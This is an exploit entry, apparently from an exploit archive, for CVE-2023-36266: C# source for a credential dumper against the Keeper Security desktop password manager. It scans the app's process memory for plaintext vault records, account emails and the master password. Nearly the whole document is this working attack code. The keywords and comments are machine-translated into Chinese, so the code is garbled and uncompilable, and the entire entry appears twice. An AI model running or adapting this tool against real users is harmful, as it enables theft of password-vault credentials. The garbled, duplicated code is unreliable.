#利用标题:守护者安全桌面16.10.2浏览器扩展程序16.5.4-密码转储
#Google Dork: NA
#日期: 22-07-2023
#利用作者: H4RK3NZ0
#供应商homepage: https://www.keepersecurity.com/en_gb/
#软件link: https://www.keepersecurity.com/en_gb/get-keeper.html
#版本:桌面应用程序版本16.10.2浏览器扩展版16.5.4
#在: Windows上测试
#CVE : CVE-2023-36266
使用系统;
使用System.Management;
使用System.Diagnostics;
使用system.linq;
使用system.runtime.interopservices;
使用System.Text;
使用System.Text.RegulareXpressions;
使用System.Collections.generic;
//守护者安全密码保险库桌面应用程序和浏览器扩展名在纯文本中存储在内存中
//如果用户未明确启用“清除进程内存”的选项,则可以在注销后继续存在。
//由于这一结果,可以从受害者那里提取凭据主密码,从而达到较低的私人访问后
//这不针对受影响的浏览器扩展名(尚未),仅针对或提取凭据,而仅针对Windows桌面应用程序。
//github: https://github.com/h4rk3nz0/peeper
静态类程序
{
//确保我们针对正确的子进程- 检查命令行
公共静态字符串getCommandline(此过程过程)
{
if(过程为null || process.id 1)
{
返回'';
}
字符串查询=$@'select commandline从win32_process中processID={process.id}';
使用(var Searcher=new ManagementObjectSearcher(QUERY))
使用(var collection=searcher.get())
{
var ManagementObject=collection.oftypemanagementOmagementObject()。firstOdordEfault();
return ManagementObject!=null? (字符串)ManagementObject ['命令行'] :'';
}
}
//提取纯文本凭证JSON字符串(正则差异但很快)
公共静态void extract_credentials(字符串文本)
{
int index=text.indexof('{\'title \': \'');
int eindex=text.indexof('}');
while(index=0)
{
尝试
{
int endIndex=math.min(index + eindex,text.length);
Regex reg=new Regex('(\\ {\\\'title \\\'[ - 〜]+\\}(?=\\ s))');
字符串匹配=reg.Match(text.substring(index -1,endIndex -index))。toString();
int match_cut=match.indexof('}');
如果(match_cut!=-1)
{
match=match.substring(0,match_cut +'}'.length).trimend();
if(!stringslist.contains(匹配)匹配。长度20)
{
console.writeline(' - 凭证记录找到:' + match.substring(0,match_cut +'}'.length).length) +'\ n');
stringslist.add(匹配);
}
} else if(!stringslist.contains(match.trimend())match.length 20)
{
console.writeline(' - 凭证记录找到:' + match +'\ n');
stringslist.add(match.trimend());
}
index=text.indexof('{\'title \': \'',index + 1);
eindex=text.indexof('}',eindex + 1);
}
抓住
{
返回;
}
}
}
//提取帐户/包含JSON字符串的电子邮件
公共静态void extract_account(字符串文本)
{
int index=text.indexof('{\'expiry \'');
int eindex=text.indexof('}');
while(index=0)
{
尝试
{
int endIndex=math.min(index + eindex,text.length);
REGEX reg=new Regex('(\\ {\\\'Expiry \\\\'[ - 〜]+@[ - 〜]+(?=\\})。)');
字符串匹配=reg.Match(text.substring(index -1,endIndex -index))。toString();
if(((match.length 2))
{
console.writeline(' - 帐户记录找到:' + match +'\ n');
返回;
}
index=text.indexof('{\'expiry \'',index + 1);
eindex=text.indexof('}',eindex + 1);
}
抓住
{
返回;
}
}
}
//基于SSO的登录名不可用,但值得寻找的主密码。
//忽略似乎匹配:的其他数据关键条目_not_master_key_example
公共静态void extract_master(字符串文本)
{
int index=text.indexof('data_key');
int eindex=索引+ 64;
while(index=0)
{
尝试
{
int endIndex=math.min(index + eindex,text.length);
REGEX reg=new Regex('(data_key [-〜]+)');
var match_one=reg.match(text.substring(index -1,endIndex -index))。toString();
Regex Clean=new Regex('(_ [A-Za-Z] {1,14} _ [a-Za-Z] {1,10})')');
if(match_one.replace('data_key','').length 5)
{
if(!clean.ismatch(match_one.replace('data_key',''))))))
{
console.writeline(' - 主密码:' + match_one.replace('data_key','') +'\ n');
}
}
index=text.indexof('data_key',index + 1);
Eindex=索引+ 64;
}
抓住
{
返回;
}
}
}
//商店提取的字符串和comapre
public static listString stringsList=new ListString();
//主要功能,在私有订单内存页面上迭代,读取内存并针对页面UTF-8执行正则表达式
//执行OpenProcess以使用必要的查询权限获得处理
静态void main(string [] args)
{
foreach(process。
{
String Commandline=GetCommandLine(Process);
if(commandline.contains(' - renderer-client-id=5')|| commandline.contains(' - renderer-client-id=7'))
{
console.writeline(' - keeper target pid找到: {0}',process.id.tostring());
console.writeline(' - 搜索. \ n');
intptr ProcessHandle=OpenProcess(0x00000400 |0x0000010,false,process.id);
intptr地址=new intptr(0x10000000000);
memory_basic_information meminfo=new Memory_basic_information();
while(virtualqueryex(processhandle,address,out meminfo,(uint)元帅。
{
if(meminfo.state==0x00001000 meminfo.type==0x20000)
{
byte [] buffer=new byte [(int)meminfo.griendionsize];
if(ntreadVirtualMemory(ProcessHandle,Meminfo.BaseAddress,Buffer,(UINT)MEMINFO.RIGENIONSIZE,intptr.zero)==0x0)
{
字符串文本=encoding.ascii.getString(buffer);
extract_credentials(text);
extract_master(text);
extract_account(text);
}
}
地址=new intptr(meminfo.baseaddress.toint64() + meminfo.gegionsize.toint64());
}
CloseHandle(ProcessHandle);
}
}
}
[dllimport('kernel32.dll')]
公共静态外部intptr openprocess(uint dwdesiredAccess,[Marshalas(unmanagedtype.bool)] bool binherithandle,int dwprocessid);
[dllimport('kernel32.dll')]
公共静态外部bool关闭手(INTPTR hobject);
[dllimport('ntdll.dll')]
公共静态外部UINT uint ntreadVirtualMemory(Intptr ProcessHandle,Intptr baseaddress,byte [] buffer,uint32 numberofbyTestoread,intptr numberofbytesRead);
[dllimport('kernel32.dll',setlasterror=true)]
public static extern int virtualqueryex(intptr hprocess,intptr lpaddress,out memory_basic_information lpbuffer,uint dwlength);
[structlayout(layoutkind.sequential)]
公共结构内存_BASIC_INFORMATION
{
公共intptr baseaddress;
公共INTPTR分配基;
公共UINT分配保护;
公共Intptr区域;
公共UINT州;
公共UINT保护;
公共UINT类型;
}
}
#Google Dork: NA
#日期: 22-07-2023
#利用作者: H4RK3NZ0
#供应商homepage: https://www.keepersecurity.com/en_gb/
#软件link: https://www.keepersecurity.com/en_gb/get-keeper.html
#版本:桌面应用程序版本16.10.2浏览器扩展版16.5.4
#在: Windows上测试
#CVE : CVE-2023-36266
使用系统;
使用System.Management;
使用System.Diagnostics;
使用system.linq;
使用system.runtime.interopservices;
使用System.Text;
使用System.Text.RegulareXpressions;
使用System.Collections.generic;
//守护者安全密码保险库桌面应用程序和浏览器扩展名在纯文本中存储在内存中
//如果用户未明确启用“清除进程内存”的选项,则可以在注销后继续存在。
//由于这一结果,可以从受害者那里提取凭据主密码,从而达到较低的私人访问后
//这不针对受影响的浏览器扩展名(尚未),仅针对或提取凭据,而仅针对Windows桌面应用程序。
//github: https://github.com/h4rk3nz0/peeper
静态类程序
{
//确保我们针对正确的子进程- 检查命令行
公共静态字符串getCommandline(此过程过程)
{
if(过程为null || process.id 1)
{
返回'';
}
字符串查询=$@'select commandline从win32_process中processID={process.id}';
使用(var Searcher=new ManagementObjectSearcher(QUERY))
使用(var collection=searcher.get())
{
var ManagementObject=collection.oftypemanagementOmagementObject()。firstOdordEfault();
return ManagementObject!=null? (字符串)ManagementObject ['命令行'] :'';
}
}
//提取纯文本凭证JSON字符串(正则差异但很快)
公共静态void extract_credentials(字符串文本)
{
int index=text.indexof('{\'title \': \'');
int eindex=text.indexof('}');
while(index=0)
{
尝试
{
int endIndex=math.min(index + eindex,text.length);
Regex reg=new Regex('(\\ {\\\'title \\\'[ - 〜]+\\}(?=\\ s))');
字符串匹配=reg.Match(text.substring(index -1,endIndex -index))。toString();
int match_cut=match.indexof('}');
如果(match_cut!=-1)
{
match=match.substring(0,match_cut +'}'.length).trimend();
if(!stringslist.contains(匹配)匹配。长度20)
{
console.writeline(' - 凭证记录找到:' + match.substring(0,match_cut +'}'.length).length) +'\ n');
stringslist.add(匹配);
}
} else if(!stringslist.contains(match.trimend())match.length 20)
{
console.writeline(' - 凭证记录找到:' + match +'\ n');
stringslist.add(match.trimend());
}
index=text.indexof('{\'title \': \'',index + 1);
eindex=text.indexof('}',eindex + 1);
}
抓住
{
返回;
}
}
}
//提取帐户/包含JSON字符串的电子邮件
公共静态void extract_account(字符串文本)
{
int index=text.indexof('{\'expiry \'');
int eindex=text.indexof('}');
while(index=0)
{
尝试
{
int endIndex=math.min(index + eindex,text.length);
REGEX reg=new Regex('(\\ {\\\'Expiry \\\\'[ - 〜]+@[ - 〜]+(?=\\})。)');
字符串匹配=reg.Match(text.substring(index -1,endIndex -index))。toString();
if(((match.length 2))
{
console.writeline(' - 帐户记录找到:' + match +'\ n');
返回;
}
index=text.indexof('{\'expiry \'',index + 1);
eindex=text.indexof('}',eindex + 1);
}
抓住
{
返回;
}
}
}
//基于SSO的登录名不可用,但值得寻找的主密码。
//忽略似乎匹配:的其他数据关键条目_not_master_key_example
公共静态void extract_master(字符串文本)
{
int index=text.indexof('data_key');
int eindex=索引+ 64;
while(index=0)
{
尝试
{
int endIndex=math.min(index + eindex,text.length);
REGEX reg=new Regex('(data_key [-〜]+)');
var match_one=reg.match(text.substring(index -1,endIndex -index))。toString();
Regex Clean=new Regex('(_ [A-Za-Z] {1,14} _ [a-Za-Z] {1,10})')');
if(match_one.replace('data_key','').length 5)
{
if(!clean.ismatch(match_one.replace('data_key',''))))))
{
console.writeline(' - 主密码:' + match_one.replace('data_key','') +'\ n');
}
}
index=text.indexof('data_key',index + 1);
Eindex=索引+ 64;
}
抓住
{
返回;
}
}
}
//商店提取的字符串和comapre
public static listString stringsList=new ListString();
//主要功能,在私有订单内存页面上迭代,读取内存并针对页面UTF-8执行正则表达式
//执行OpenProcess以使用必要的查询权限获得处理
静态void main(string [] args)
{
foreach(process。
{
String Commandline=GetCommandLine(Process);
if(commandline.contains(' - renderer-client-id=5')|| commandline.contains(' - renderer-client-id=7'))
{
console.writeline(' - keeper target pid找到: {0}',process.id.tostring());
console.writeline(' - 搜索. \ n');
intptr ProcessHandle=OpenProcess(0x00000400 |0x0000010,false,process.id);
intptr地址=new intptr(0x10000000000);
memory_basic_information meminfo=new Memory_basic_information();
while(virtualqueryex(processhandle,address,out meminfo,(uint)元帅。
{
if(meminfo.state==0x00001000 meminfo.type==0x20000)
{
byte [] buffer=new byte [(int)meminfo.griendionsize];
if(ntreadVirtualMemory(ProcessHandle,Meminfo.BaseAddress,Buffer,(UINT)MEMINFO.RIGENIONSIZE,intptr.zero)==0x0)
{
字符串文本=encoding.ascii.getString(buffer);
extract_credentials(text);
extract_master(text);
extract_account(text);
}
}
地址=new intptr(meminfo.baseaddress.toint64() + meminfo.gegionsize.toint64());
}
CloseHandle(ProcessHandle);
}
}
}
[dllimport('kernel32.dll')]
公共静态外部intptr openprocess(uint dwdesiredAccess,[Marshalas(unmanagedtype.bool)] bool binherithandle,int dwprocessid);
[dllimport('kernel32.dll')]
公共静态外部bool关闭手(INTPTR hobject);
[dllimport('ntdll.dll')]
公共静态外部UINT uint ntreadVirtualMemory(Intptr ProcessHandle,Intptr baseaddress,byte [] buffer,uint32 numberofbyTestoread,intptr numberofbytesRead);
[dllimport('kernel32.dll',setlasterror=true)]
public static extern int virtualqueryex(intptr hprocess,intptr lpaddress,out memory_basic_information lpbuffer,uint dwlength);
[structlayout(layoutkind.sequential)]
公共结构内存_BASIC_INFORMATION
{
公共intptr baseaddress;
公共INTPTR分配基;
公共UINT分配保护;
公共Intptr区域;
公共UINT州;
公共UINT保护;
公共UINT类型;
}
}